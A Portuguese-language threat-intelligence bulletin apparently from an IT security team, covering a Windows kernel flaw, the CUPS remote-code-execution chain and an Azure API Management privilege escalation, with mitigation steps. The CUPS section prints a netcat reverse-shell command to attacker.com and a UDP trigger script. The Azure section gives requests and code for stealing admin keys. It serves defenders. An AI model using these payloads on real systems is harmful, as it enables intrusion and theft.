Your IT Company

Principais Vulnerabilidades e Ameaças (Outubro/24)

1. Objetivo

Este documento foi desenvolvido e fundamentado nas documentações oficiais do NIST (National Institute Of Standards and Technology), MITRE e CVE.org, que são mundialmente conhecidas na área de cibersegurança como modelos de padronização das melhores práticas de segurança, pesquisa de metodologias de ataques, defesa cibernética e catalogação de novas vulnerabilidades em sistemas operacionais e aplicações.

2. Vulnerabilidades e Ameaças descobertas

2.1. Vulnerabilidade zero-day no kernel do Windows permite que atacantes utilizem a memória heap para acessar dados confidenciais

O kernel do Windows é o componente central do sistema operacional Windows. Ele é responsável por gerenciar os recursos do sistema, como memória, processos, dispositivos de entrada e saída, e fornecer uma interface entre o hardware e o software. O kernel é uma parte essencial do sistema operacional, pois permite que os programas sejam executados e interajam com o hardware do computador.

A memória heap no Windows é uma área dinâmica de memória utilizada por programas para alocar e desalocar blocos de dados conforme necessário durante a execução. Diferente da stack, que é usada para armazenar variáveis de tamanho fixo e pré-determinadas, a heap é destinada a alocações de memória de tamanho variável, como objetos ou grandes estruturas de dados, permitindo maior flexibilidade.

Recentemente a Microsoft emitiu um aviso sobre uma vulnerabilidade do kernel do Windows que pode levar à divulgação de informações confidenciais. A vulnerabilidade recebeu a identificação: CVE-2024-37985 que foi classificada de acordo com a Microsoft com a pontuação CVSS v3.1: 5.9 de nível médio, e está descrita como: “Vulnerabilidade de Divulgação de Informações do Kernel do Windows” esta vulnerabilidade ainda se encontra sem classificação pela NIST.

Em resumo a vulnerabilidade afeta sistemas baseados em ARM onde um invasor que explorar com sucesso essa vulnerabilidade poderá visualizar a memória heap de um processo privilegiado em execução no servidor, potencialmente expondo dados confidenciais. Embora essa vulnerabilidade não tenha sido classificada como “crítica”, o risco de divulgação de informações devido ao acesso não autorizado à memória heap não deve ser subestimado.

Atacantes podem explorar essas falhas para obter informações sobre o funcionamento interno de processos privilegiados, o que pode levar a ataques mais graves, como escalonamento de privilégios ou execução remota de código no futuro.

Exploração

A Microsoft confirmou que a exploração não é trivial, exigindo que os invasores realizem ações preparatórias adicionais no ambiente de destino para explorar a falha com sucesso. No entanto, uma vez que essas pré-condições são atendidas, a vulnerabilidade abre a porta para o acesso não autorizado a dados

A memória heap é alocada dinamicamente durante a execução dos processos. Essa memória pode conter dados confidenciais, incluindo informações do sistema ou dados pessoais processados por aplicativos críticos. A capacidade de acessar a memória heap sem autorização pode levar a um grave vazamento de informações, fornecendo aos invasores uma base para escalar ainda mais os ataques ou comprometer dados confidenciais.

Para minimizar o risco de exploração, a Microsoft não divulgou detalhes específicos sobre os vetores de ataque exatos ou métodos usados para explorar o CVE-2024-37985. Essa é uma abordagem comum ao lidar com vulnerabilidades de zero day, visando evitar que os invasores explorem ainda mais a falha antes que um patch abrangente possa ser implantado. Apesar da pontuação média do CVSS, as organizações não devem subestimar o risco de divulgação de informações associado a essa vulnerabilidade, pois ela pode ser aproveitada para facilitar ataques mais sérios.

Mitigação e prevenção

As organizações são fortemente encorajadas a aplicar patches prontamente e garantir que seus sistemas estejam atualizados com as atualizações de segurança da Microsoft. Quanto mais tempo vulnerabilidades como a CVE-2024-37985 permanecem sem correção, maior é a chance de exploração por cibercriminosos.

A confirmação da CVE-2024-37985 como uma vulnerabilidade zero-day no kernel do Windows destaca a importância de corrigir prontamente falhas de segurança, mesmo aquelas classificadas com pontuações CVSS médias. Como demonstrado pela atualização de Patch Tuesday de julho de 2024 da Microsoft, os atacantes estão ativamente buscando explorar sistemas sem patch, e vulnerabilidades como a CVE-2024-37985 podem fornecer uma porta de entrada para violações mais graves.

Mitigação e prevenção utilizando Qualys e Trend

Qualys:

- Utilize o Qualys Vulnerability Management (VM) para realizar uma varredura completa em todos os endpoints e servidores que utilizam sistemas operacionais Windows, com foco na detecção de versões do kernel afetadas pela CVE-2024-37985.
- Verifique se o patch de segurança correspondente foi lançado e aplicado. Caso contrário, identifique os dispositivos que permanecem vulneráveis.
- Utilize assinaturas de vulnerabilidade específicas no Qualys para detectar quaisquer sinais de exploração dessa falha.
- Utilize a funcionalidade de priorização de ameaças do Qualys para identificar os sistemas mais críticos, como servidores que executam aplicativos de missão crítica ou endpoints com acesso privilegiado.
- Aplique imediatamente os patches disponibilizados pela Microsoft, utilizando o Qualys Patch Management para automatizar a aplicação das correções de segurança em larga escala e garantir que todos os dispositivos sejam protegidos.
- Se o patch não estiver disponível de imediato, considere medidas temporárias como a desativação de funcionalidades críticas do sistema ou o isolamento de máquinas vulneráveis.
- Ative o monitoramento contínuo no Qualys para identificar novos dispositivos vulneráveis e assegurar que os sistemas estão protegidos contra futuras explorações dessa zero-day.
- Configure alertas em tempo real para qualquer tentativa de exploração da CVE-2024-37985 ou alterações suspeitas no kernel do Windows.

Trend Micro:

- Configure o Trend Micro Vision One para aplicar políticas de prevenção de exploits, bloqueando tentativas de execução de código malicioso que explorem a CVE-2024-37985.
- Ative o módulo de Intrusion Prevention System (IPS) para detectar e bloquear explorações de kernel e ataques que envolvam elevação de privilégios ou execução de código remoto.
- Utilize a análise comportamental do Trend Micro Vision One para identificar atividades incomuns no sistema, como tentativas de modificar processos críticos ou escalar privilégios por meio de exploits no kernel.
- Monitore os logs e eventos do sistema para identificar padrões de comportamento suspeitos, como scripts ou binários que possam estar tentando explorar essa falha.
- Integre o Trend Micro Vision One com a equipe de resposta a incidentes para permitir ações rápidas em caso de tentativas de exploração da CVE-2024-37985.
- Utilize playbooks de resposta automática para isolar máquinas comprometidas e conter o impacto da exploração, minimizando a superfície de ataque e protegendo os dados sensíveis.
- Aplique técnicas de contenção em endpoints que apresentem sinais de comprometimento, como a interrupção de serviços e bloqueio de acessos administrativos.
- Reforce as políticas de segurança de acesso e configuração no Windows, especialmente no que diz respeito ao gerenciamento de privilégios e permissões de usuários.
- Implemente um controle rigoroso de acesso para sistemas com privilégios elevados, restringindo o acesso ao kernel do sistema apenas a usuários e processos autenticados de maneira robusta.
- Reforce a política de atualização automática de sistemas, garantindo que os dispositivos da organização permaneçam atualizados com os últimos patches de segurança fornecidos pela Microsoft.

Para ver mais detalhes sobre esta vulnerabilidade você pode acessar os endereços a seguir: https://nvd.nist.gov/vuln/detail/CVE-2024-37985 , https://www.commandlink.com/microsoft-confirms-cve-2024-37985-as-zero-day-vulnerability-in-windows-kernel/ e https://cybersecuritynews.com/ms-windows-kernel-vulnerability/

2.2. Falhas críticas no sistema de impressão CUPS do Linux podem permitir a execução remota de códigos.

O CUPS (Common Unix Printing System) é um sistema de gerenciamento de impressão para sistemas operacionais Unix-like, como o Linux e macOS. Ele permite que computadores enviem trabalhos de impressão para impressoras locais ou em rede. CUPS usa o protocolo IPP (Internet Printing Protocol) para comunicação e um de seus componentes é o daemon cups-browsed, que busca na rede local por impressoras de rede ou compartilhadas anunciadas e as disponibiliza para impressão na máquina. Isso é semelhante à forma como Windows e Macs podem procurar na rede por impressoras de rede remotas para impressão.

Recentemente, um especialista em segurança e pesquisador de malwares publicou sua descoberta de quatro falhas de segurança no sistema de impressão de código aberto CUPS que sob certas condições, acaba permitindo invasores poderem encadear estas vulnerabilidades em múltiplos componentes para executar com sucesso códigos arbitrários remotamente em máquinas vulneráveis.

As vulnerabilidades receberam as seguintes identificações: **CVE-2024-47076, CVE-2024-47175, CVE-2024-47176 e CVE-2024-47177** logo abaixo temos as informações de cada uma dela de forma detalhada:

- **CVE-2024-47076** que foi classificada de acordo com o GitHub com a pontuação CVSS v3.1: 8.6 de nível alto, e está descrita como: “O CUPS é um sistema de impressão de código aberto baseado em padrões, e o libcupsfilters contém o código dos filtros do antigo pacote cups-filters como funções de biblioteca a serem usadas para as tarefas de conversão de formato de dados necessárias nas Aplicações de Impressora. A função cfGetPrinterAttributes5 em libcupsfilters não sanitiza os atributos IPP retornados de um servidor IPP. Quando esses atributos IPP são usados, por exemplo, para gerar um arquivo PPD, isso pode levar a dados controlados por um invasor a serem fornecidos ao restante do sistema CUPS”;
- **CVE-2024-47175** que foi classificada de acordo com o GitHub com a pontuação CVSS v3.1: 8.6 de nível alto, e está descrita como: “O CUPS é um sistema de impressão de código aberto baseado em padrões, e o libppd pode ser usado para suporte a arquivos PPD legados. A função ppdCreatePPDFromIPP2 do libppd não sanitiza os atributos IPP ao criar o buffer PPD. Quando usada em combinação com outras funções, como cfGetPrinterAttributes5, isso pode resultar em entrada controlada pelo usuário e, em última análise, na execução de código via Foomatic. Essa vulnerabilidade pode fazer parte de uma cadeia de exploração que leva à execução remota de código (RCE), conforme descrito na CVE-2024-47176”.
- **CVE-2024-47176** que foi classificada de acordo com o GitHub com a pontuação CVSS v3.1: 8.3 de nível alto, e está descrita como: “O CUPS é um sistema de impressão de código aberto baseado em padrões, e o cups-browsed contém funcionalidades de impressão em rede, incluindo, mas não se limitando a descoberta automática de serviços de impressão e impressoras compartilhadas. O cups-browsed se vincula a INADDR_ANY:631, fazendo com que confie em qualquer pacote de qualquer origem, e pode causar a solicitação IPP Get-Printer-Attributes para uma URL controlada por um invasor. Devido à vinculação do serviço a *:631 (INADDR_ANY), vários bugs em cups-browsed podem ser explorados em sequência para introduzir uma impressora maliciosa no sistema. Essa cadeia de explorações, em última análise, permite que um invasor execute comandos arbitrários remotamente na máquina alvo sem autenticação quando um trabalho de impressão é iniciado. Isso representa um risco significativo de segurança na rede. Notavelmente, essa vulnerabilidade é particularmente preocupante, pois pode ser explorada a partir da internet pública, potencialmente expondo muitos sistemas a ataques remotos se seus serviços CUPS estiverem habilitados”;

- **CVE-2024-47177** que foi classificada de acordo com o GitHub com a pontuação CVSS v3.1: 9.0 de nível crítico, e está descrita como: “O CUPS é um sistema de impressão de código aberto baseado em padrões, e o cups-filters fornece backends, filtros e outros softwares para que o CUPS 2.x utilize em sistemas que não sejam Mac OS. Qualquer valor passado para FoomaticRIPCommandLine via um arquivo PPD será executado como um comando controlado pelo usuário. Quando combinado com outros bugs de lógica, conforme descrito na CVE-2024-47176, isso pode levar à execução remota de comandos”.

As quatro vulnerabilidades ainda estão aguardando análise e classificação pela NIST.
Aqui está listagem das versões afetadas especificadas por biblioteca e CVEs:

- CVE-2024-47176: Biblioteca cups-browsed, afetando versões até a: 2.0.1;
- CVE-2024-47076: Biblioteca libcupsfilters, afetando versões até a: 2.1b1;
- CVE-2024-47175: Biblioteca libppd, afetando versões até a: 2.1b1;
- CVE-2024-47177: Biblioteca cups-filters, afetando versões até a: 2.0.1.

Exploração

A exploração ocorre via o serviço cups-browsed, que está ligado à porta 631 UDP e aceita pacotes de qualquer origem. Quando comprometido, o sistema pode ser levado a instalar impressoras com URLs maliciosas, o que resulta em execução remota de comandos assim que uma tarefa de impressão é iniciada. As vulnerabilidades específicas incluem falhas de validação no protocolo IPP (Internet Printing Protocol), permitindo a injeção de dados maliciosos.

Assim que uma tarefa de impressão é iniciada, comandos arbitrários definidos no arquivo PPD (PostScript Printer Description) injetado pelo atacante são executados no sistema. Este processo ocorre via o componente vulnerável foomatic-rip, que não sanitiza corretamente os parâmetros do PPD.

Exploração - Proof-of-Concept (PoC)

O atacante pode usar um simples script em Python para enviar o pacote malicioso ao servidor:

```
import socket
target_ip = '192.168.1.100'  # IP do servidor UNIX vulnerável
target_port = 631  # Porta CUPS
malicious_packet = b'00 01 http://attacker.com/malicious_ppd'
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(malicious_packet, (target_ip, target_port))
print(f"Pacote malicioso enviado para {target_ip}:{target_port}")
```

Quando o CUPS processa o pacote, ele adiciona uma impressora associada ao URL malicioso. O arquivo PPD gerado pode conter comandos shell maliciosos, como:

```
*FoomaticRIPCommandLine: "/bin/bash -c 'nc attacker.com 1234 -e /bin/bash'"
```

Este comando cria uma reverse shell para o atacante, que agora tem controle sobre o sistema.

Mitigação e Prevenção

- Desativação ou remoção do cups-browsed: se o serviço não for necessário, ele deve ser desabilitado para evitar exploração.

Use o seguinte comando para verificar se o serviço está ativo:

```
systemctl status cups-browsed
```

Desative o cups-browsed para evitar inicialização automática:

```
sudo systemctl disable cups-browsed
```

Parar o serviço: Imediatamente interrompa o serviço:

```
sudo systemctl stop cups-browsed
```

Caso o serviço não seja mais necessário, remova-o do sistema:

```
sudo apt-get remove cups-browsed
```

Confirme que o serviço foi removido com sucesso:

```
systemctl status cups-browsed
```

- Bloqueio de Porta: Use regras de firewall para bloquear o tráfego de entrada na porta UDP 631.
- Atualize Pacotes do CUPS: Instale as atualizações de segurança para o CUPS e componentes relacionados da sua distribuição assim que as atualizações estiverem disponíveis.

Mitigação e prevenção utilizando Qualys e Trend

Qualys:

- Utilize o Qualys Vulnerability Management (VM) para realizar uma varredura completa em todos os sistemas UNIX que utilizam o CUPS, identificando possíveis vulnerabilidades e configurações inadequadas que possam ser exploradas.
- Verifique se as versões do CUPS em uso estão atualizadas e se estão aplicadas as correções de segurança recomendadas. Configure assinaturas específicas no Qualys para detectar versões vulneráveis do CUPS.
- Use a funcionalidade de priorização de ameaças do Qualys para identificar sistemas críticos onde o CUPS está implementado, priorizando correções nesses ambientes.
- Aplique os patches de segurança disponíveis para o CUPS e atualize as configurações do sistema para fortalecer a segurança contra possíveis explorações. Utilize o Qualys Patch Management para facilitar a aplicação de patches em sistemas em larga escala.
- Habilite o monitoramento contínuo no Qualys para detectar novos problemas de segurança relacionados ao CUPS e configurações inadequadas.
- Configure alertas automáticos para qualquer tentativa de acesso não autorizado aos serviços do CUPS ou modificações não autorizadas nas configurações.

A Qualys Threat Research Unit está lançando os QIDs na tabela abaixo para identificar ativos afetados por esta vulnerabilidade:

QID	Título	Versão	Suportado em
380563	Vulnerabilidade de Execução Remota de Código (RCE) do CUPS Browsed	VULNSIGS-2.6.151-3	Scanner + Agent + CS Sensor

6021331	Notificação de Segurança do Ubuntu para a Vulnerabilidade libppd (USN-7045-1)	VULNSIGS-2.6.151-3	Scanner + Agent + CS Sensor
6021330	Notificação de Segurança do Ubuntu para a Vulnerabilidade do CUPS (USN-7041-1)	VULNSIGS-2.6.151-3	Scanner + Agent + CS Sensor
6021329	Notificação de Segurança do Ubuntu para a Vulnerabilidade libcupsfilters (USN-7044-1)	VULNSIGS-2.6.151-3	Scanner + Agent + CS Sensor
6021328	Notificação de Segurança do Ubuntu para as Vulnerabilidades cups-filters (USN-7043-1)	VULNSIGS-2.6.151-3	Scanner + Agent + CS Sensor
6021327	Notificação de Segurança do Ubuntu para a Vulnerabilidade cups-browsed (USN-7042-1)	VULNSIGS-2.6.151-3	Scanner + Agent + CS Sensor

Trend Micro:

- Utilize o Trend Micro Vision One para aplicar políticas de prevenção de exploits que bloqueiem tentativas de exploração das vulnerabilidades no CUPS.
- Configure regras de Intrusion Prevention System (IPS) que monitorem atividades suspeitas direcionadas ao CUPS, incluindo tentativas de execução de código remoto ou acessos não autorizados.
- Monitore eventos de segurança e logs do sistema com o Trend Micro Vision One para identificar comportamentos anômalos relacionados ao uso do CUPS, como acessos incomuns a serviços de impressão ou tentativas de exploração.
- Utilize a análise de comportamento para detectar atividades que possam indicar um ataque em andamento, como alterações inesperadas nas configurações do CUPS.
- Utilize playbooks de resposta automática para isolar sistemas afetados e mitigar a propagação de ataques, como desativar temporariamente serviços do CUPS comprometidos.
- Revise e restrinja as configurações de segurança do CUPS, limitando o acesso apenas a usuários e dispositivos autorizados. Desative qualquer recurso desnecessário que possa aumentar a superfície de ataque.
- Implemente firewalls e controles de acesso para proteger os serviços de impressão, bloqueando tráfego indesejado e limitando a comunicação a redes confiáveis.
- Treine a equipe de TI sobre as melhores práticas de segurança relacionadas ao CUPS, incluindo a configuração segura do serviço e a importância de manter atualizações regulares.
- Realize simulações de ataques para educar os usuários sobre como reconhecer tentativas de exploração e reforçar a importância da vigilância constante na segurança de sistemas UNIX.

Para ver mais detalhes sobre esta vulnerabilidade você pode acessar os endereços a seguir: https://blog.qualys.com/vulnerabilities-threat-research/2024/09/26/critical-unauthenticated-rce-flaws-in-cups-printing-systems, https://www.bleepingcomputer.com/news/security/cups-flaws-enable-linux-remote-code-execution-but-theres-a-catch/ , https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/ e https://nvd.nist.gov/

2.3. Vulnerabilidade crítica recente no Azure API Management (APIM) acaba permitindo escalação de privilégios

O Azure API Management (APIM) é um serviço da Microsoft Azure que facilita a criação, gerenciamento, segurança e monitoramento de APIs em ambientes híbridos e multi-cloud. Ele permite que as empresas publiquem APIs para uso interno e externo de forma segura, fornecendo recursos como autenticação, controle de acesso, políticas de limite de uso, roteamento de requisições e monitoramento de desempenho.

Recentemente foi descoberto uma vulnerabilidade crítica no APIM (Gerenciamento de API do Azure), que permitia que usuários com acesso no nível de Leitor escalassem seus privilégios para o equivalente ao acesso no nível de Colaborador. Essa falha de segurança permitiu que esses usuários lessem, modificassem e até excluíssem configurações do recurso APIM por meio da API de gerenciamento diretamente.

De acordo com os pesquisadores, a falha é causada por uma má configuração no Azure Resource Manager (ARM) API, que inadvertidamente permitia que usuários com permissões de leitura acessassem as chaves de administração e outros dados críticos através do Direct Management API do APIM, ignorando restrições de versões mais recentes da API. Embora a Microsoft tenha implementado restrições anteriormente para impedir que usuários no nível de Leitor acessassem informações confidenciais em versões mais recentes da API, o bug conseguiu contornar essas restrições.

Exploração

Para explorar a vulnerabilidade, um invasor com acesso de Leitor pode simplesmente chamar um ponto de extremidade específico da API do ARM para obter as chaves do usuário administrador padrão. Essas chaves podem ser usadas para gerar Shared Access Signatures, concedendo ao invasor acesso total para executar qualquer operação de gerenciamento no recurso do APIM por meio da API de Gerenciamento Direto.

A vulnerabilidade teve um impacto significativo, pois permitiu que usuários não autorizados obtivessem privilégios elevados e potencialmente comprometessem a segurança do recurso APIM e suas APIs associadas. Os invasores podem listar chaves de assinatura, chaves de provedor de identidade e segredos de valor nomeados, potencialmente obtendo mais acesso ao Azure, Entra ID e outros sistemas integrados, além de ler relatórios.

Exploração - Proof-of-Concept (PoC)

Um atacante pode enviar a seguinte requisição HTTP para obter as chaves do usuário administrador:

```
GET
/subscriptions/<subscription>/resourceGroups/<resource_group>/providers/Microsoft.ApiManagement/service/<instance_name>/users/1/keys?api-version=2023-03-01-preview
Host: management.azure.com
Authorization: Bearer <legitimate_arm_bearer_token>
```

O retorno será um JSON contendo as chaves primary e secondary do usuário administrador, permitindo o uso de assinaturas de acesso compartilhado (SAS).

Com a chave em mãos, o atacante pode gerar um token de SharedAccessSignature (SAS), como no exemplo Python:

```
import hmac
import base64
import datetime
```

```
def generate_sas_token(key, uid):
exp = (datetime.datetime.utcnow() + datetime.timedelta(hours=24)).strftime("%Y-%m-%dT%H:%M:%S.0000000Z")
message_to_sign = f"{uid}\n{exp}"
signature = base64.b64encode(hmac.new(key.encode(), message_to_sign.encode(), digestmod='sha512').digest()).decode()
return f"uid={uid}&ex={exp}&sn={signature}"
```

Usando o token SAS gerado, o atacante pode realizar operações administrativas, como listar chaves de assinatura:

```
POST /subscriptions/<subscription>/resourceGroups/<resource_group>/providers/Microsoft.ApiManagement/service/<instance_name>/subscriptions/<sub_id>/listSecrets?api-version=2022-08-01
Host: management.azure-api.net
Authorization: SharedAccessSignature uid=1&ex=<expiry>&sn=<signature>
Content-Type: application/json
```

O acesso a essas chaves permite que o atacante modifique recursos, gerencie identidades, e obtenha informações sensíveis, que podem resultar em comprometimento de outros sistemas integrados

Mitigação e prevenção

Microsoft implementou uma correção, restringindo o acesso de usuários com privilégios de leitura às chaves administrativas do APIM. A configuração de uma versão mínima segura da API ARM deve ser aplicada para evitar esse tipo de exploração.

É recomendado que instâncias críticas de APIM sejam acessíveis apenas de redes privadas ou VNETs, como parte de uma estratégia de defesa em profundidade, além de configurar auditorias regulares e monitoramento de acessos à API ARM, verificando tentativas não autorizadas de acesso às chaves.

Mitigação e prevenção utilizando Qualys e Trend

Qualys

- Utilize o Qualys Vulnerability Management (VM) para identificar todas as instâncias do APIM em sua infraestrutura, verificando se as versões em uso estão suscetíveis a essa vulnerabilidade de escalação de privilégios.
- Realize uma análise detalhada das permissões atribuídas a diferentes usuários e serviços no APIM, buscando configurações inadequadas ou permissões excessivas que possam ser exploradas.
- Priorize a correção de vulnerabilidades no APIM que gerenciam APIs críticas ou que estejam associadas a dados sensíveis.
- Aplique imediatamente patches ou atualizações recomendadas pelo fornecedor para corrigir a vulnerabilidade. Caso um patch ainda não esteja disponível, tome medidas temporárias, como a remoção de permissões excessivas e a segregação de funções (RBAC) no APIM.
- Utilize o Qualys Patch Management para automatizar a aplicação de patches e garantir que as correções sejam implementadas de maneira consistente em todos os ambientes afetados.

- Ative o monitoramento contínuo com o Qualys para identificar alterações não autorizadas nas permissões do APIM e verificar se novos usuários estão tentando explorar essa vulnerabilidade.
- Configure alertas que notifiquem a equipe de segurança sobre qualquer alteração suspeita nos níveis de privilégio dos usuários ou modificações nas políticas de segurança da API.

Trend Micro

- Utilize o Trend Micro Vision One para aplicar políticas de prevenção de exploração de APIs, bloqueando tentativas de escalação de privilégios ou outras atividades maliciosas no APIM.
- Configure regras de Intrusion Prevention System (IPS) para detectar e bloquear atividades incomuns no tráfego de API, como solicitações malformadas ou tentativas de elevação de privilégios.
- Monitore eventos de segurança e logs de acesso ao APIM com o Trend Micro Vision One para identificar comportamentos anômalos, como mudanças inesperadas nas permissões de usuários ou acessos a recursos não autorizados.
- Utilize a análise de comportamento para detectar ações suspeitas no APIM, como tentativas de modificação de configurações ou acessos não aprovados a dados críticos.
- Utilize playbooks de resposta para reverter mudanças não autorizadas nas permissões de usuários e isolar instâncias de API comprometidas.
- Reforce as configurações de segurança no APIM, garantindo que as permissões sejam configuradas com base no princípio de menor privilégio. Restrinja o acesso a APIs e recursos críticos apenas a usuários ou serviços que realmente necessitem.
- Implemente Role-Based Access Control (RBAC) para assegurar que os privilégios sejam segregados de forma eficaz, reduzindo as chances de um usuário não autorizado conseguir acesso a funcionalidades administrativas.

Para ver mais detalhes sobre esta vulnerabilidade você pode acessar os endereços a seguir: https://binarysecurity.no/posts/2024/09/apim-privilege-escalation e https://cybersecuritynews.com/azure-api-management-vulnerability/

Esta publicação tem como objetivo orientar a equipe interna e os nossos clientes sobre ameaças emergentes no ambiente cibernético, possibilitando assim ações proativas de prevenção para tornar a infraestrutura de nossas empresas cada vez mais segura.

A publicação do documento de Inteligência de Ameaças será realizada quinzenalmente.

Produzido por: Comitê Editorial de Segurança da Service Sec